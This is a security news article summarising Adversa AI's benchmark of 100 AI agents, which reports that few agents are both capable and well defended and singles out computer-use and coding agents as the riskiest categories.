AI is our new leader. We just accept and do what it tells us. Maybe we should be a bit more circumspect.
Concern over the performance of AI agents has been constant, ranging from ‘leaky’ to just plain wrong decision-making. Since the pressure to use more agents more autonomously because of supercharged AI-assisted attacks is now constant, Adversa AI’s decision to measure and compare the performance and security of 100 agents across ten categories is welcome.
But the results are not. Of the 100 agents tested, and positioned within a new AI Risk Quadrant, only 11 are categorized as ‘capable well-defended’.
The root problem is the AI agent ‘lethal trifecta’, which Adversa describes as ‘private data access + exposure to untrusted content + ability for outbound actions’. This translates directly into the standard lethal trifecta of too much power + too much trust + too little control’.
Since all three parts of this trifecta are necessary for an AI agent to achieve its goal, capability and security will always be a big ask. Ninety-eight percent of the agents have this trifecta, so it is no surprise to learn – but still shocking to hear – that so few are both capable (useful) and defendable (secure).
Capability and security verge on mutual exclusion. “The same vendors shipping the most capable agents ship the widest attack surface – a structural feature of the market, not a handful of outliers,” states Adversa’s analysis in its AI Risk Quadrant for Agent Security report. It calls this a ‘power-protection inversion’ and adds that it appears in all ten agent categories.
The agent categories with the greatest power protection inversion, however, are ‘computer agents’ followed by ‘coding agents’.
Computer agents are designed to perform a specific task, such as make a decision or perform an action for a user. Since agents can only operate with what they know (the context problem, where poor context leads to bad decisions in all agents), computer agents are given wide access rights, effectively the complete operating system. “A compromise hands the attacker the user’s entire machine, not just one application or tab,” warns Adversa.
Such agents also suffer from an issue that affects all agents: the user has little, if any, visibility into or control over what the agent actually does. It is given an input (the task), and it generates an output (the completed task). But with computer agents, the user doesn’t know the route it takes between input and output, nor what specific actions within the operating system it takes along that route.
“The deeper issue is that the desktop confirmation step looks like a control while being unreliable in practice,” warns the analysis. ‘The human and the model reason over different abstractions (windows and labels vs. screenshots and accessibility trees). That gap produces confirmation mismatch: the human approves the appearance of the action, not what the agent is about to do, because nothing in the interface surfaces the difference.”
The second-worst offender in the exposed giants quadrant is coding agents. This is concerning since ‘vibe-coding’ applications are becoming the future of software, and ‘vibe-coded’ in-house applications may live with us for many years.
The analysis sub-divides coding agents into three types: “coding copilots (human reviews each suggestion), autonomous coding agents (goal-in, repo-out), and app builders (prompt-to-deployed-app). The first might appear to be the least dangerous, but the user still doesn’t know what the agent does between input and output. “Coding agents don’t just write code – they touch shell, dependencies, and tokens long before a diff lands in review,” comments Adversa.
“This is the class where compromise most directly becomes production compromise. The danger is not bad code suggestions; it is high-trust operation inside the software supply chain. Non-determinism makes code review an incomplete defense: even if a human reviews the final diff, the agent may already have traversed secrets, run tests against production-like services, modified configs, or selected risky dependencies. Review catches outputs; it does not catch the full action trail.”
Coding agents figure so highly among the exposed giants because they have a wide attack surface, an extensive blast radius, and poor defense controls. The attack surface is wide because they run shell commands, load MCP servers, and auto-load rules files. The blast radius comes from sitting inside the software supply chain with access to secrets, signing keys, and deployment pipelines. And their primary defense is a code review of the output, which doesn’t consider either the attack surface or the blast radius.
We’ve glanced at just two of the ten agent types included in Adversa’s agent analysis and AI Risk Quadrant. The other eight categories are general assistant, work copilot, browser, conversational, custom workflow, business process, platform operations, and data engineering. None come out squeaky clean. Ninety-eight percent of the tested agents are subject to the lethal trifecta, with only one agent in each of the general assistant and data engineering agents being the exceptions.
Learn More at the AI Risk Summit | Ritz-Carlton, Half Moon Bay
General comments from Adversa include: agent defaults favor velocity over safety; agents with the most power have the least protection, while the agents with the most protection have the least power; only 11% qualify for the capable and defended quadrant; tool execution accounts for 76% of blast radius; 37% of the market is audited more than defended; and 83% of claimed AI agent defenses are not publicly verifiable.
Agents are effectively black boxes – it’s a take it or leave it scenario. Business economics is forcing us to take it. Since we cannot control what the agent does while it is running, our only option is to be careful over what we input, and control, where possible, the output.
Here, Adversa recommends concentration on controlling the output since there is little that can be done on the input prompts. “Defend the legs you can own, not the one you can’t,” it suggests. “Prompt injection has no deterministic fix – no classifier reliably separates the agent’s data from its instructions, and vendors concede it. Concede the input boundary and spend the defensive budget on the trifecta legs the operator does control: egress, identity, and irreversible actions.”
This is where we are today. The headlong rush into agentic AI solutions is irreversible but concerning. We will only match adversarial AI-assisted attacks by using AI-assisted defense. All businesses will only remain competitive if they are faster, and more efficient than the competition. In business, all roads lead to AI. We must hope, and can probably expect, that AI will improve in all areas in the future. To what extent and when that may happen is another unknown.
But in the meantime, the ultimate message from Adversa’s massive and detailed analysis is clear: “Let’s be careful out there.”
Related: Can We Trust AI? No – But Eventually We Must
Related: The Wild West of Agentic AI – An Attack Surface CISOs Can’t Afford to Ignore
Related: Sweet Security Launches Agentic AI Red Teaming to Counter ‘Mythos Moment’
Related: Raising the Cybersecurity Stakes: Ante up for the Agentic Era
